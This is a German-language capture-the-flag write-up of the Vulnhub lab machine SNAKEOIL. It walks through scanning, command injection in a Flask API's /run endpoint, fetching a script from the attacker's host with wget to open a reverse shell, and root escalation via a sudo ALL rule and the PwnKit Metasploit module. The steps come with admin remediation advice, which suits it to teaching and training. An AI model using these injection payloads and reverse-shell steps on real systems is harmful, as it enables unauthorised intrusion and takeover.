SNAKEOIL - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
echo
ffuf
curl
wget
rm
mv
chmod
nc (netcat)
ls
sudo
id
find
msfconsole (Metasploit)
searchsploit
shell (Meterpreter)
cd
cat

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase dient der Identifizierung des Zielsystems im Netzwerk und der Ermittlung offener Ports und Dienste durch Netzwerkscans, um die Angriffsfläche zu verstehen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.140	08:00:27:b4:a5:95	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` identifiziert einen Host mit der IP `192.168.2.140` im lokalen Netzwerk. Die MAC-Adresse deutet auf eine VirtualBox VM hin.

Bewertung: Zielsystem erfolgreich lokalisiert.

Empfehlung (Pentester): Führe Nmap-Scans auf 192.168.2.140 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 192.168.2.140    snake.vuln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `snake.vuln` der IP `192.168.2.140` zuzuordnen.

Bewertung: Sinnvolle Vorbereitung für Web-Tests.

Empfehlung (Pentester): Verwende `snake.vuln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.140 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 11:45 CEST
Nmap scan report for SNAKEOIL (192.168.2.140)
Host is up (0.000084s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 73a48f94a22068505aaee1d3608dff55 (RSA)
|   256 f31bd8c30c3f5e6bac9952807bd6b6e7 (ECDSA)
|_  256 ea6164b63bd3840150d81aab382912e1 (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open  http    nginx 1.14.2
|_http-title: Welcome to Good Tech Inc.'s Snake Oil Project
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:B4:A5:95 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.08 ms SNAKEOIL (192.168.2.140)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -AO -p-`) identifiziert drei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** nginx 1.14.2, Titel "Welcome to SNAKEOIL!". * **Port 8080 (HTTP):** nginx 1.14.2, Titel "Welcome to Good Tech Inc.'s Snake Oil Project". Dies scheint die Hauptanwendung zu sein.

Bewertung: Die Angriffsfläche besteht aus SSH und zwei Webservern auf unterschiedlichen Ports, die von nginx bedient werden. Port 8080 sieht spezifischer aus als Port 80.

Empfehlung (Pentester): Untersuche beide Web-Ports (Nikto, Gobuster), mit Fokus auf Port 8080. Behalte SSH als möglichen Login-Vektor im Auge.
Empfehlung (Admin): Aktualisieren Sie nginx und OpenSSH. Überprüfen Sie die Konfiguration beider nginx-Instanzen.

Web Enumeration (Flask API)

Die Webserver auf Port 80 und 8080 werden untersucht. Der Fokus liegt auf der Anwendung auf Port 8080, die sich als Flask-API herausstellt.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.140
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.140
+ Target Hostname:    192.168.2.140
+ Target Port:        80
[...]
+ Server: nginx/1.14.2
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /#wp-config.php#: #wp-config.php# file found. [...] (False Positive)
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt Port 80 (Standard). Es findet nur den nginx Server und fehlende Sicherheitsheader. Keine spezifischen Schwachstellen oder interessanten Dateien auf diesem Port.

Bewertung: Port 80 scheint eine einfache Standardseite zu sein.

Empfehlung (Pentester): Konzentriere dich auf Port 8080.
Empfehlung (Admin): Implementiere Sicherheitsheader auch für Standardseiten.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.140:8080 -x txt,php,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ...
===============================================================
Gobuster v3.5
[...]
===============================================================
http://192.168.2.140:8080/1                    (Status: 200) [Size: 2193]
http://192.168.2.140:8080/01                   (Status: 200) [Size: 2193]
http://192.168.2.140:8080/2                    (Status: 200) [Size: 2356]
http://192.168.2.140:8080/login                (Status: 405) [Size: 64] # Method Not Allowed
http://192.168.2.140:8080/04                   (Status: 200) [Size: 2324]
http://192.168.2.140:8080/02                   (Status: 200) [Size: 2356]
http://192.168.2.140:8080/4                    (Status: 200) [Size: 2324]
http://192.168.2.140:8080/users                (Status: 200) [Size: 140]
http://192.168.2.140:8080/registration         (Status: 200) [Size: 29]
http://192.168.2.140:8080/test                 (Status: 200) [Size: 17]
http://192.168.2.140:8080/create               (Status: 200) [Size: 2596]
http://192.168.2.140:8080/001                  (Status: 200) [Size: 2193]
http://192.168.2.140:8080/002                  (Status: 200) [Size: 2356]
http://192.168.2.140:8080/004                  (Status: 200) [Size: 2324]
http://192.168.2.140:8080/0001                 (Status: 200) [Size: 2193]
http://192.168.2.140:8080/secret               (Status: 500) [Size: 37] # Internal Server Error
http://192.168.2.140:8080/run                  (Status: 405) [Size: 178] # Method Not Allowed
[...] # viele nummerierte Endpunkte
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster scannt Port 8080 und findet eine Reihe von Endpunkten: * Nummerierte Endpunkte (z.B. `/1`, `/01`, `/001`): Wahrscheinlich API-Endpunkte für spezifische Ressourcen. * Authentifizierungs-Endpunkte: `/login` (GET nicht erlaubt), `/registration`, `/users`. * Funktionale Endpunkte: `/create`, `/test`. * Fehlerhafte/Interessante Endpunkte: `/secret` (500 Internal Server Error), `/run` (GET nicht erlaubt).

Bewertung: Der Scan offenbart eine API-ähnliche Struktur. `/users` ist sofort verdächtig für Informationspreisgabe. `/registration` ermöglicht möglicherweise die Erstellung eines Kontos. `/secret` und `/run` deuten auf versteckte oder fehlerhafte Funktionen hin.

Empfehlung (Pentester): 1. Untersuche `/users` auf Benutzerdaten. 2. Teste `/registration`. 3. Untersuche die nummerierten Endpunkte. 4. Teste `/login`, `/secret`, `/run` mit POST-Requests.
Empfehlung (Admin): Sichern Sie API-Endpunkte. Verhindern Sie Informationspreisgabe über Endpunkte wie `/users`. Entfernen oder sichern Sie Endpunkte wie `/secret` und `/registration`.

# Manuelle Untersuchung von http://192.168.2.140:8080/users
# Ausgabe (JSON):
{
  "users": [
    {
      "password": "$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040",
      "username": "patrick"
    }
  ]
}
                    
┌──(root㉿cyber)-[~] └─# echo '$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040' > crack.txt

Analyse: Der Aufruf des `/users`-Endpunkts gibt eine JSON-Antwort zurück, die den Benutzernamen `patrick` und einen zugehörigen Passwort-Hash im Format `pbkdf2-sha256` enthält. Der Hash wird zur späteren Analyse in `crack.txt` gespeichert.

Bewertung: Kritische Informationspreisgabe! Ein Benutzername und der zugehörige Passwort-Hash werden öffentlich preisgegeben. PBKDF2-SHA256 ist zwar ein starker Hashing-Algorithmus, aber wenn das ursprüngliche Passwort schwach ist, könnte es offline geknackt werden.

Empfehlung (Pentester): Versuche, den Hash offline mit Tools wie Hashcat oder John the Ripper und einer großen Wortliste zu knacken. Versuche parallel, den `/registration`-Endpunkt zu nutzen.
Empfehlung (Admin): Sichern Sie den `/users`-Endpunkt *sofort*! Geben Sie niemals Hashes oder Benutzerlisten über öffentliche APIs preis.

# Manuelle Untersuchung von http://192.168.2.140:8080/secret
# Ausgabe (JSON):
{"message": "Internal Server Error"}
                    

Analyse: Der direkte Aufruf von `/secret` (vermutlich GET) führt zu einem Internal Server Error.

Bewertung: Der Endpunkt existiert, erfordert aber wahrscheinlich eine andere Methode, Parameter oder Authentifizierung.

Empfehlung (Pentester): Teste mit POST oder nach erfolgreicher Authentifizierung.
Empfehlung (Admin): Entferne oder repariere den Endpunkt.

┌──(root㉿cyber)-[~] └─# dirb http://192.168.2.140:8080
[...]
---- Scanning URL: http://192.168.2.140:8080/ ----
[...]
+ http://192.168.2.140:8080/create        (CODE:200|SIZE:2596)
+ http://192.168.2.140:8080/login         (CODE:405|SIZE:64)
+ http://192.168.2.140:8080/registration  (CODE:200|SIZE:29)
+ http://192.168.2.140:8080/run           (CODE:405|SIZE:178)
+ http://192.168.2.140:8080/secret        (CODE:500|SIZE:37)
+ http://192.168.2.140:8080/test          (CODE:200|SIZE:17)
+ http://192.168.2.140:8080/users         (CODE:200|SIZE:140)
[...]
                    

Analyse: Ein Dirb-Scan auf Port 8080 bestätigt die zuvor mit Gobuster gefundenen Endpunkte.

Bewertung: Dient als Bestätigung der gefundenen API-Struktur.

Empfehlung (Pentester): Konzentriere dich auf die Interaktion mit den vielversprechenden Endpunkten (`/users`, `/registration`, `/run`).
Empfehlung (Admin): Überprüfe alle gelisteten Endpunkte auf Notwendigkeit und Sicherheit.

# Manuelle Untersuchung von http://192.168.2.140:8080/4/edit
# Inhalt enthält Hinweis auf Flask-JWT-Extended:
https://flask-jwt-extended.readthedocs.io/en/stable/options/
                    

Analyse: Die Untersuchung eines der nummerierten Endpunkte (`/4/edit`) offenbart einen Link zur Dokumentation von Flask-JWT-Extended. Dies deutet darauf hin, dass die Anwendung mit Python/Flask entwickelt wurde und JSON Web Tokens (JWT) für die Authentifizierung/Session-Verwaltung verwendet.

Bewertung: Wichtiger Hinweis auf die verwendete Technologie (Flask) und das Authentifizierungssystem (JWT). Dies lenkt die Aufmerksamkeit auf die `/login`- und `/registration`-Endpunkte, die wahrscheinlich JWTs ausstellen.

Empfehlung (Pentester): Registriere einen Benutzer über `/registration`, um einen JWT zu erhalten. Untersuche den JWT (Algorithmus, Payload) auf Schwachstellen (z.B. schwacher Secret Key für HS256). Verwende den JWT für authentifizierte Anfragen.
Empfehlung (Admin): Verwenden Sie starke Secret Keys für JWTs. Halten Sie Flask-JWT-Extended und andere Bibliotheken aktuell.

┌──(root㉿cyber)-[~] └─# nmap -sV --script http-csrf 192.168.2.140 -p 8080
[...]
PORT     STATE SERVICE VERSION
8080/tcp open  http    nginx 1.14.2
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=snake.vuln
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://snake.vuln:8080/4/edit
|     Form id:
|     Form action: /4/delete
[...] # Ähnliche Einträge für /2/edit, /1/edit, /5/edit
|_http-server-header: nginx/1.14.2
[...]
                    

Analyse: Ein Nmap-CSRF-Scan auf Port 8080 identifiziert potenzielle Cross-Site Request Forgery (CSRF)-Schwachstellen in den Löschfunktionen (`/X/delete`), die über die Editierseiten (`/X/edit`) ausgelöst werden könnten.

Bewertung: Eine potenzielle Schwachstelle, die es einem Angreifer ermöglichen könnte, einen angemeldeten Benutzer dazu zu bringen, ungewollt eine Löschaktion auszuführen. Für den initialen Zugriff oder die Eskalation ist dies jedoch weniger relevant.

Empfehlung (Pentester): Notieren für den Bericht, aber Fokus auf RCE/Authentifizierung legen.
Empfehlung (Admin): Implementieren Sie CSRF-Schutz (z.B. Anti-CSRF-Tokens) für alle state-changing Aktionen.

Initial Access (RCE via API)

Da das Knacken des Passwort-Hashes von `patrick` schwierig ist, wird der `/registration`-Endpunkt genutzt, um einen neuen Benutzer zu erstellen. Anschließend wird der `/run`-Endpunkt mit einer Command Injection Schwachstelle missbraucht, um eine Reverse Shell als Benutzer `patrick` zu erhalten.

┌──(root㉿cyber)-[~] └─# curl -X POST http://snake.vuln:8080/login
{"message": {"username": "Username field cannot be blank."}}
┌──(root㉿cyber)-[~] └─# curl -X POST http://192.168.2.140:8080/registration
{"message": {"username": "Username field cannot be blank."}}
┌──(root㉿cyber)-[~] └─# curl -X POST http://192.168.2.140:8080/run
{"message":"Please provide URL to request in the form url:port. Example: 127.0.0.1:12345","success":false}

Analyse: Erste Tests mit `curl` und POST-Requests gegen `/login`, `/registration` und `/run` zeigen, welche Parameter erwartet werden (mindestens `username` für Login/Registration, `url` für `/run`).

Bewertung: Hilft bei der Formulierung korrekter Requests für die weitere Ausnutzung.

Empfehlung (Pentester): Sende gültige JSON-Daten mit den erwarteten Schlüsseln.
Empfehlung (Admin): Implementiere robuste Eingabevalidierung und aussagekräftige, aber nicht zu detaillierte Fehlermeldungen.

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.140:8080/registration" -X POST -H "Content-Type: application/json" -d '{"username":"hacker","password":"benni"}'
{"message": "User hacker was created. Please use the login API to log in!", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY4NjkxNDE4MCwianRpIjoiMzU0NGE4ZTktM2M1NS00ZjkzLTk4NTItMjJlOTJlZjNjNjlmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImhhY2tlciIsIm5iZiI6MTY4NjkxNDE4MCwiZXhwIjoxNjg2OTE1MDgwfQ.uJKu46FLs77EKGaJnxXsyJEpPKruzXwg8zAj80mjsrw"}

Analyse: Ein neuer Benutzer `hacker` mit Passwort `benni` wird erfolgreich über den `/registration`-Endpunkt registriert. Die Antwort enthält einen JWT (`access_token`).

Bewertung: Erfolgreiche Registrierung. Der JWT kann nun für authentifizierte Aktionen verwendet werden. (Obwohl der Token im weiteren Log nicht explizit genutzt wird, ist die Registrierung hier relevant, da sie zeigt, dass die API nutzbar ist. Der RCE-Exploit später scheint keine Authentifizierung zu benötigen, was eine weitere Schwachstelle ist).

Empfehlung (Pentester): Teste authentifizierte Endpunkte mit dem JWT. Untersuche den `/run`-Endpunkt auf Command Injection.
Empfehlung (Admin): Schränken Sie die Registrierung ein, wenn nicht benötigt. Stellen Sie sicher, dass alle API-Endpunkte eine Authentifizierung erfordern (außer Login/Registration).

# JWT Dekodierung (z.B. via jwt.io)
# Header: {"typ": "JWT", "alg": "HS256"}
# Payload: {"fresh": false, "iat": ..., "jti": "...", "type": "access", "sub": "hacker", "nbf": ..., "exp": ...}
                    

Analyse: Der erhaltene JWT wird dekodiert. Er verwendet den HS256-Algorithmus (symmetrisch) und enthält Standard-Claims wie Ausstellungsdatum (`iat`), Gültigkeit (`nbf`, `exp`) und den Subject (`sub`), der auf den registrierten Benutzer `hacker` verweist.

Bewertung: Standard-JWT. Ohne den Secret Key kann er nicht manipuliert werden (außer bei bekannten Schwachstellen oder schwachem Key).

Empfehlung (Pentester): Verwende den Token wie vorgesehen. Konzentriere dich auf die `/run`-Schwachstelle.
Empfehlung (Admin): Verwenden Sie starke, zufällige Secret Keys für HS256 oder bevorzugen Sie asymmetrische Algorithmen (RS256 etc.).

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.140:8080/run -X POST -H "Content-Type: application/json" -d '{"url":"-h|id;","secret_key":"commandexecutionissecret"}'
{"message":"uid=1000(patrick) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),27(sudo),[...]","success":true}
┌──(root㉿cyber)-[~] └─# curl http://192.168.2.140:8080/run -X POST -H "Content-Type: application/json" -d '{"url":"-h|ls -la;","secret_key":"commandexecutionissecret"}'
{"message":"total 92\ndrwxr-xr-x  7 patrick patrick   4096 Jun 16 19:16 .\n[...] app.py\n[...] database.db\n[...]","success":true}

Analyse: Der `/run`-Endpunkt wird mit POST-Requests getestet. Es wird entdeckt, dass durch Übergabe eines Pipes (`|`) gefolgt von einem Shell-Befehl im `url`-Parameter eine Command Injection möglich ist. Der Parameter `secret_key` scheint vorhanden sein zu müssen, wird aber möglicherweise nicht validiert. Die Befehle (`id`, `ls -la`) werden als Benutzer `patrick` (UID 1000) ausgeführt.

Bewertung: Kritische Remote Code Execution (RCE) Schwachstelle im `/run`-Endpunkt als Benutzer `patrick` identifiziert! Keine Authentifizierung scheint erforderlich zu sein.

Empfehlung (Pentester): Nutze diese RCE, um eine Reverse Shell als `patrick` zu erhalten.
Empfehlung (Admin): Beheben Sie die Command Injection *sofort*! Sanitisieren Sie *alle* Eingaben, die zur Shell oder zu Systembefehlen weitergeleitet werden. Implementieren Sie Authentifizierung für diesen Endpunkt.

┌──(root㉿cyber)-[~] └─# curl http://.../run ... -d '{"url":"-h|curl 192.168.2.137/ben.php --output ben.php;"...}'
{"message":"Banned command!","success":false}
┌──(root㉿cyber)-[~] └─# curl http://.../run ... -d '{"url":"-h|echo -n "..."| base64 -d | bash;"...}'
{"message":"The browser (or proxy) sent a request that this server could not understand.","success":false}
┌──(root㉿cyber)-[~] └─# curl http://.../run ... -d '{"url":"-h|wget 192.168.2.137/vero.txt;"...}'
{"message":"--2023-06-16 20:41:01--  http://192.168.2.137/vero.txt\nConnecting to ... saved [...]","success":false}

Analyse: Versuche, eine Reverse-Shell-Datei direkt mit `curl` über die RCE herunterzuladen, scheitern aufgrund eines Filters ("Banned command!"). Ein Versuch, den `curl`-Befehl Base64 zu kodieren, schlägt ebenfalls fehl. Der Download gelingt jedoch mit `wget`.

Bewertung: Der Filter ist rudimentär und blockiert nur `curl`. `wget` kann zur Dateiübertragung genutzt werden.

Empfehlung (Pentester): Verwende `wget`, um das Reverse-Shell-Skript auf das Ziel zu übertragen. Benenne es um, mache es ausführbar und führe es über die RCE aus.
Empfehlung (Admin): Implementieren Sie eine robustere Eingabefilterung oder (besser) vermeiden Sie die Ausführung von Shell-Befehlen basierend auf Benutzereingaben vollständig.

┌──(root㉿cyber)-[~] └─# curl ... /run ... -d '{"url":"-h|rm vero.sh;"...}'
{"message":"","success":true}
┌──(root㉿cyber)-[~] └─# curl ... /run ... -d '{"url":"-h|mv vero.txt vero.sh;"...}'
{"message":"","success":true}
┌──(root㉿cyber)-[~] └─# curl ... /run ... -d '{"url":"-h|chmod +x vero.sh;"...}'
{"message":"","success":true}
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
┌──(root㉿cyber)-[~] └─# curl http://192.168.2.140:8080/run -X POST -H "Content-Type: application/json" -d '{"url":"-h|./vero.sh;","secret_key":"commandexecutionissecret"}'
{"message":"The timeout is expired!","success":false}
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.140] 45848
bash: cannot set terminal process group (476): Inappropriate ioctl for device
bash: no job control in this shell
patrick@SNAKEOIL:~/flask_blog$
                    

Analyse: Das heruntergeladene Skript (`vero.txt`) wird über die RCE-Schnittstelle in `vero.sh` umbenannt und ausführbar gemacht (`chmod +x`). Ein Netcat-Listener wird gestartet. Schließlich wird `./vero.sh` über die RCE ausgeführt. Die Anfrage läuft in einen Timeout (erwartet), aber der Listener empfängt erfolgreich eine Reverse Shell als Benutzer `patrick`.

Bewertung: Initial Access erfolgreich! Eine Shell als Benutzer `patrick` wurde über die RCE-Schwachstelle erlangt.

Empfehlung (Pentester): Stabilisiere die Shell. Überprüfe die `sudo`-Rechte von `patrick` (`sudo -l`).
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle *dringend*.

Privilege Escalation

Nach Erhalt der Shell als `patrick` werden die Berechtigungen geprüft. Eine unsichere `sudo`-Konfiguration wird identifiziert und ausgenutzt. Alternativ wird der PwnKit-Exploit als weiterer Weg aufgezeigt.

patrick@SNAKEOIL:~/flask_blog$ sudo -l
Matching Defaults entries for patrick on SNAKEOIL:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User patrick may run the following commands on SNAKEOIL:
    (root) NOPASSWD: /sbin/shutdown
    (ALL : ALL) ALL
                    
patrick@SNAKEOIL:~/flask_blog$ id
uid=1000(patrick) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)

Analyse: Der Befehl `sudo -l` zeigt, dass `patrick` (der auch Mitglied der `sudo`-Gruppe ist) zwei Regeln hat: Er kann `/sbin/shutdown` ohne Passwort als Root ausführen (wenig nützlich für eine Shell) und – viel wichtiger – er kann *jeden* Befehl als *jeder* Benutzer (`ALL : ALL`) mit seinem Passwort ausführen (`ALL`).

Bewertung: **Kritische Fehlkonfiguration!** Die `(ALL : ALL) ALL` Regel erlaubt `patrick` uneingeschränkten Root-Zugriff mittels `sudo`.

Empfehlung (Pentester): Führe `sudo su` oder `sudo -i` oder `sudo /bin/bash` aus, um sofort eine Root-Shell zu erhalten.
Empfehlung (Admin): Korrigieren Sie die `sudoers`-Datei *dringend*! Entfernen Sie die `(ALL : ALL) ALL`-Regel. Gewähren Sie nur spezifische, notwendige Befehle.

patrick@SNAKEOIL:~$ find / -type f -perm -4000 -ls 2>/dev/null
   933784     16 -rwsr-xr-x   1 patrick  patrick     13712 Oct 14  2020 /home/patrick/vmware-tools-distrib/lib/bin32/vmware-user-suid-wrapper
   933790     16 -rwsr-xr-x   1 patrick  patrick     14416 Oct 14  2020 /home/patrick/vmware-tools-distrib/lib/bin64/vmware-user-suid-wrapper
[...]
   399885     24 -rwsr-xr-x   1 root     root        23288 Jan 16  2019 /usr/bin/pkexec
[...]
   404146     56 -rwsr-xr-x   1 root     root        55400 Mar  6  2019 /usr/bin/bwrap
[...]
   421520     16 -r-sr-xr-x   1 root     root          14416 Jun 12  2021 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
[...]
                    

Analyse: Die Suche nach SUID-Dateien findet diverse Standarddateien, `pkexec` und einige VMware-Tools-Wrapper, die SUID root oder SUID patrick sind.

Bewertung: Bestätigt PwnKit (`pkexec`) als alternativen Eskalationspfad. Die VMware-Tools sind normalerweise kein einfacher Vektor.

Empfehlung (Pentester): Ignoriere dies vorerst und nutze die `sudo ALL`-Regel.
Empfehlung (Admin): Patchen Sie PwnKit. Überprüfen Sie die Notwendigkeit von SUID auf VMware-Tools.

Proof of Concept (Sudo ALL)

Dieser Abschnitt demonstriert die Ausnutzung der unsicheren `(ALL : ALL) ALL` sudo-Regel für den Benutzer `patrick`, um Root-Rechte zu erlangen.

patrick@SNAKEOIL:~/flask_blog$ sudo su
[sudo] password for patrick: [Passwort für patrick benötigt, nicht im Log]
root@SNAKEOIL:/home/patrick/flask_blog# id
uid=0(root) gid=0(root) groups=0(root)
root@SNAKEOIL:/home/patrick/flask_blog#

Analyse: Der Befehl `sudo su` wird ausgeführt. Da `patrick` die `(ALL : ALL) ALL` Berechtigung hat, wird nach Eingabe seines eigenen Passworts (das hier nicht im Log steht, aber angenommen wird) eine Root-Shell gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.

Bewertung: Fantastisch! Privilege Escalation zu Root war durch die unsichere `sudo`-Regel trivial.

Empfehlung (Pentester): Root erlangt. Suche die Root-Flag.
Empfehlung (Admin): Korrigieren Sie die `sudoers`-Regel *sofort*!

root@SNAKEOIL:~# cd /root
root@SNAKEOIL:~# ls -la
total 36
drwx------  4 root root 4096 Aug 16  2021 .
drwxr-xr-x 19 root root 4096 Jun 12  2021 ..
-rw-------  1 root root    5 Aug 16  2021 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Jun 19  2021 .cache
drwxr-xr-x  3 root root 4096 Jun 19  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   63 Aug 16  2021 proof.txt
-r--r-----  1 root root  669 Aug 16  2021 sudoers.bak
                    
root@SNAKEOIL:~# cat proof.txt
Congratulations on obtaining a root shell on this machine! :-)

Analyse: Im `/root`-Verzeichnis wird die Datei `proof.txt` gefunden. Ihr Inhalt wird mit `cat` angezeigt.

Bewertung: Root-Flag erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (RCE, sudo, PwnKit).

Alternativer Proof of Concept (PwnKit)

Das Log zeigt auch die erfolgreiche Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit, nachdem die `patrick`-Shell erlangt wurde. Dies stellt einen alternativen Weg zu Root dar.

┌──(root㉿cyber)-[~] └─# msfconsole
msf6 > use multi/handler
[...]
msf6 exploit(multi/handler) > set lport 5555
[...]
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:5555
                    
[*] Command shell session 1 opened (192.168.2.137:5555 -> 192.168.2.140:48538) at 2023-06-16 15:00:01 +0200
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[...]
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.140:39532) at 2023-06-16 15:02:13 +0200
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.140 - Collecting local exploits for x86/linux...
[*] 192.168.2.140 - Valid modules for session 2:
 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
[...]
                    
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4545
lport => 4545
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.137:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[...]
[*] Meterpreter session 3 opened (192.168.2.137:4545 -> 192.168.2.140:48538) at 2023-06-16 15:02:13 +0200
                    

Analyse: Die `patrick`-Shell wird in Metasploit übernommen (Session 1), zu Meterpreter aufgewertet (Session 2), der Exploit Suggester bestätigt PwnKit, und der PwnKit-Exploit wird über Session 2 ausgeführt, was zu einer Root-Meterpreter-Session (Session 3) führt.

Bewertung: Bestätigt, dass PwnKit ebenfalls ein funktionierender Eskalationspfad auf dieser Maschine ist.

Empfehlung (Pentester): Dokumentiere beide Pfade (Sudo ALL und PwnKit).
Empfehlung (Admin): Beheben Sie *beide* Schwachstellen.

Flags

cat /home/patrick/local.txt
Local shell access obtained!
cat /root/proof.txt
Congratulations on obtaining a root shell on this machine! :-)